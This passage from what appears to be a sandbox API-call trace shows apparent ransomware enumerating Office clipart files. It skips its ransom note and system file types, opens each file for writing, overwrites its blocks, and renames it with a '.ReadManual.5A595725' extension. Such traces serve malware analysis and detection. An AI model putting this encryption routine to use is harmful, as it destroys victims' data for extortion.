[0269.300] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.300] CloseHandle (hObject=0x194) returned 1 [0269.300] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0269.300] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0289430.JPG" | out: lpString1="J0289430.JPG") returned="J0289430.JPG" [0269.300] lstrcmpiW (lpString1="J0289430.JPG", lpString2="RecoveryManual.html") returned -1 [0269.300] StrStrIW (lpFirst="J0289430.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.300] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.300] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.300] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.300] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.300] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.300] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.300] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.300] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.300] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" [0269.300] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.ReadManual.5A595725" [0269.300] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.ReadManual.5A595725") returned 87 [0269.300] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38996904939) returned 1 [0269.300] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg")) returned 0x20 [0269.301] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.301] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11553) returned 1 [0269.301] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d21, lpName=0x0) returned 0x184 [0269.301] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.302] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.302] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.304] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.304] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d21) returned 0x2f0000 [0269.304] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.304] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38997273781) returned 1 [0269.304] CloseHandle (hObject=0x184) returned 1 [0269.304] SetSecurityInfo () returned 0x57 [0269.304] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.304] CloseHandle (hObject=0x194) returned 1 [0269.304] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0269.304] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0290548.WMF" | out: lpString1="J0290548.WMF") returned="J0290548.WMF" [0269.304] lstrcmpiW (lpString1="J0290548.WMF", lpString2="RecoveryManual.html") returned -1 [0269.304] StrStrIW (lpFirst="J0290548.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.304] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.304] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.304] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.305] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.305] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" [0269.305] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.ReadManual.5A595725" [0269.305] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.ReadManual.5A595725") returned 87 [0269.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38997370748) returned 1 [0269.305] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf")) returned 0x20 [0269.305] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.306] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40586) returned 1 [0269.306] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9e8a, lpName=0x0) returned 0x184 [0269.306] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.306] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.306] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.309] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.309] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9e8a) returned 0x2f0000 [0269.310] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.310] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38997888876) returned 1 [0269.310] CloseHandle (hObject=0x184) returned 1 [0269.310] SetSecurityInfo () returned 0x57 [0269.310] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.310] CloseHandle (hObject=0x194) returned 1 [0269.310] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0269.310] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0291794.WMF" | out: lpString1="J0291794.WMF") returned="J0291794.WMF" [0269.311] lstrcmpiW (lpString1="J0291794.WMF", lpString2="RecoveryManual.html") returned -1 [0269.311] StrStrIW (lpFirst="J0291794.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.311] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.311] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.311] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" [0269.311] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.ReadManual.5A595725" [0269.311] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.ReadManual.5A595725") returned 87 [0269.311] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38997985544) returned 1 [0269.311] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf")) returned 0x20 [0269.311] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.312] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9616) returned 1 [0269.312] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2590, lpName=0x0) returned 0x184 [0269.312] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.312] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.312] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.314] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.314] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2590) returned 0x2f0000 [0269.314] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38998329489) returned 1 [0269.315] CloseHandle (hObject=0x184) returned 1 [0269.315] SetSecurityInfo () returned 0x57 [0269.315] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.315] CloseHandle (hObject=0x194) returned 1 [0269.315] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0269.315] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0292248.WMF" | out: lpString1="J0292248.WMF") returned="J0292248.WMF" [0269.315] lstrcmpiW (lpString1="J0292248.WMF", lpString2="RecoveryManual.html") returned -1 [0269.315] StrStrIW (lpFirst="J0292248.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.315] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.315] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.315] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" [0269.315] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.ReadManual.5A595725" [0269.315] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.ReadManual.5A595725") returned 87 [0269.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38998423491) returned 1 [0269.316] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf")) returned 0x20 [0269.316] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.317] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8420) returned 1 [0269.317] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20e4, lpName=0x0) returned 0x184 [0269.317] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.318] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.318] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.319] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.319] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20e4) returned 0x2f0000 [0269.320] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.320] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38998848855) returned 1 [0269.320] CloseHandle (hObject=0x184) returned 1 [0269.320] SetSecurityInfo () returned 0x57 [0269.320] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.320] CloseHandle (hObject=0x194) returned 1 [0269.320] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0269.320] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0292270.WMF" | out: lpString1="J0292270.WMF") returned="J0292270.WMF" [0269.320] lstrcmpiW (lpString1="J0292270.WMF", lpString2="RecoveryManual.html") returned -1 [0269.320] StrStrIW (lpFirst="J0292270.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.320] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.320] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.321] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.321] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" [0269.321] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.ReadManual.5A595725" [0269.321] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.ReadManual.5A595725") returned 87 [0269.321] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38998947877) returned 1 [0269.321] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf")) returned 0x20 [0269.321] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.321] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31398) returned 1 [0269.321] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7aa6, lpName=0x0) returned 0x184 [0269.321] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.322] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.322] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.324] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.324] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7aa6) returned 0x2f0000 [0269.324] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.325] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38999339748) returned 1 [0269.325] CloseHandle (hObject=0x184) returned 1 [0269.325] SetSecurityInfo () returned 0x57 [0269.325] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.325] CloseHandle (hObject=0x194) returned 1 [0269.325] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0269.325] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0292272.WMF" | out: lpString1="J0292272.WMF") returned="J0292272.WMF" [0269.325] lstrcmpiW (lpString1="J0292272.WMF", lpString2="RecoveryManual.html") returned -1 [0269.325] StrStrIW (lpFirst="J0292272.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.325] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="fon") 